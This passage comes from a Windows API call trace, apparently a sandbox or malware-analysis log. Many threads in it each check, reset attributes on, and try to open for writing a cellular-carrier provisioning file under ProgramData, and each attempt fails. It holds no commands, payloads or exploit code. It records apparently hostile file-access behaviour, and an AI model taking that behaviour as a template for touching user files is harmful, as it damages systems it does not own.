Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.542] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\408__connections_cellular_vodafone es (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.542] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.542] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1598) returned 1 [0180.542] RtlExitUserThread (Status=0x0) Thread: id = 2992 os_tid = 0x1150 [0180.543] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\409__connections_cellular_vodafone es (spain)_i1$(__mvid)@wap.provxml")) returned 0x20 [0180.543] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.544] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\409__connections_cellular_vodafone es (spain)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.544] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.544] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe29c0) returned 1 [0180.544] RtlExitUserThread (Status=0x0) Thread: id = 2993 os_tid = 0x1154 [0180.545] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\40__connections_cellular_velcom (belarus)_i1$(__mvid)@wap.provxml")) returned 0x20 [0180.545] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.545] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\40__connections_cellular_velcom (belarus)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.545] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.545] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02318) returned 1 [0180.545] RtlExitUserThread (Status=0x0) Thread: id = 2994 os_tid = 0x1158 [0180.546] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\410__connections_cellular_vodafone es (spain)_i2$(__mvid)@wap.provxml")) returned 0x20 [0180.546] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.547] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\410__connections_cellular_vodafone es (spain)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.547] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.547] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1038) returned 1 [0180.547] RtlExitUserThread (Status=0x0) Thread: id = 2995 os_tid = 0x115c [0180.548] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\411__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0180.548] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0180.548] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\411__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.548] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0180.548] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30545c0) returned 1 [0180.548] RtlExitUserThread (Status=0x0) Thread: id = 2996 os_tid = 0x1160 [0180.549] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\412__connections_cellular_yoigo (spain)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.550] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.550] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\412__connections_cellular_yoigo (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.550] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.550] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02ac8) returned 1 [0180.550] RtlExitUserThread (Status=0x0) Thread: id = 2997 os_tid = 0x1164 [0180.551] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\413__connections_cellular_dialog (sri lanka)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.551] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.551] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\413__connections_cellular_dialog (sri lanka)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.551] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.551] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2b18) returned 1 [0180.551] RtlExitUserThread (Status=0x0) Thread: id = 2998 os_tid = 0x1168 [0180.554] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\414__connections_cellular_dialog (sri lanka)_i1$(__mvid)@wap.provxml")) returned 0x20 [0180.554] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.554] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\414__connections_cellular_dialog (sri lanka)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.555] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.555] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2c70) returned 1 [0180.555] RtlExitUserThread (Status=0x0) Thread: id = 2999 os_tid = 0x116c [0180.559] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\415__connections_cellular_mobitel (sri lanka)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.560] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.560] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\415__connections_cellular_mobitel (sri lanka)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.560] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.560] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2dc8) returned 1 [0180.560] RtlExitUserThread (Status=0x0) Thread: id = 3000 os_tid = 0x118c [0180.561] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\416__connections_cellular_zain (sudan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.561] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.561] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\416__connections_cellular_zain (sudan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.562] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.562] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02460) returned 1 [0180.562] RtlExitUserThread (Status=0x0) Thread: id = 3001 os_tid = 0x1194 [0180.563] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\417__connections_cellular_halebop (sweden)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.563] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.563] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\417__connections_cellular_halebop (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.563] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.563] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe16f0) returned 1 [0180.563] RtlExitUserThread (Status=0x0) Thread: id = 3002 os_tid = 0x390 [0180.564] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\418__connections_cellular_3 (sweden)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.564] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.565] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\418__connections_cellular_3 (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.565] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.565] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0180.565] RtlExitUserThread (Status=0x0) Thread: id = 3003 os_tid = 0x480 [0180.566] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\419__connections_cellular_3 (sweden)_i1$(__mvid)@wap.provxml")) returned 0x20 [0180.566] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.566] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\419__connections_cellular_3 (sweden)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.566] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.566] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96ba0) returned 1 [0180.566] RtlExitUserThread (Status=0x0) Thread: id = 3004 os_tid = 0x48c [0180.567] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\41__connections_cellular_velcom (belarus)_i2$(__mvid)@wap.provxml")) returned 0x20 [0180.568] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.568] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\41__connections_cellular_velcom (belarus)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.568] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.568] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f025a8) returned 1 [0180.568] RtlExitUserThread (Status=0x0) Thread: id = 3005 os_tid = 0x594 [0180.569] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\420__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0180.569] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0180.569] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\420__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.569] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0180.569] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1848) returned 1 [0180.569] RtlExitUserThread (Status=0x0) Thread: id = 3006 os_tid = 0x5ac [0180.570] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\421__connections_cellular_tdc sweden (sweden)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.571] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.571] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\421__connections_cellular_tdc sweden (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.571] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.571] 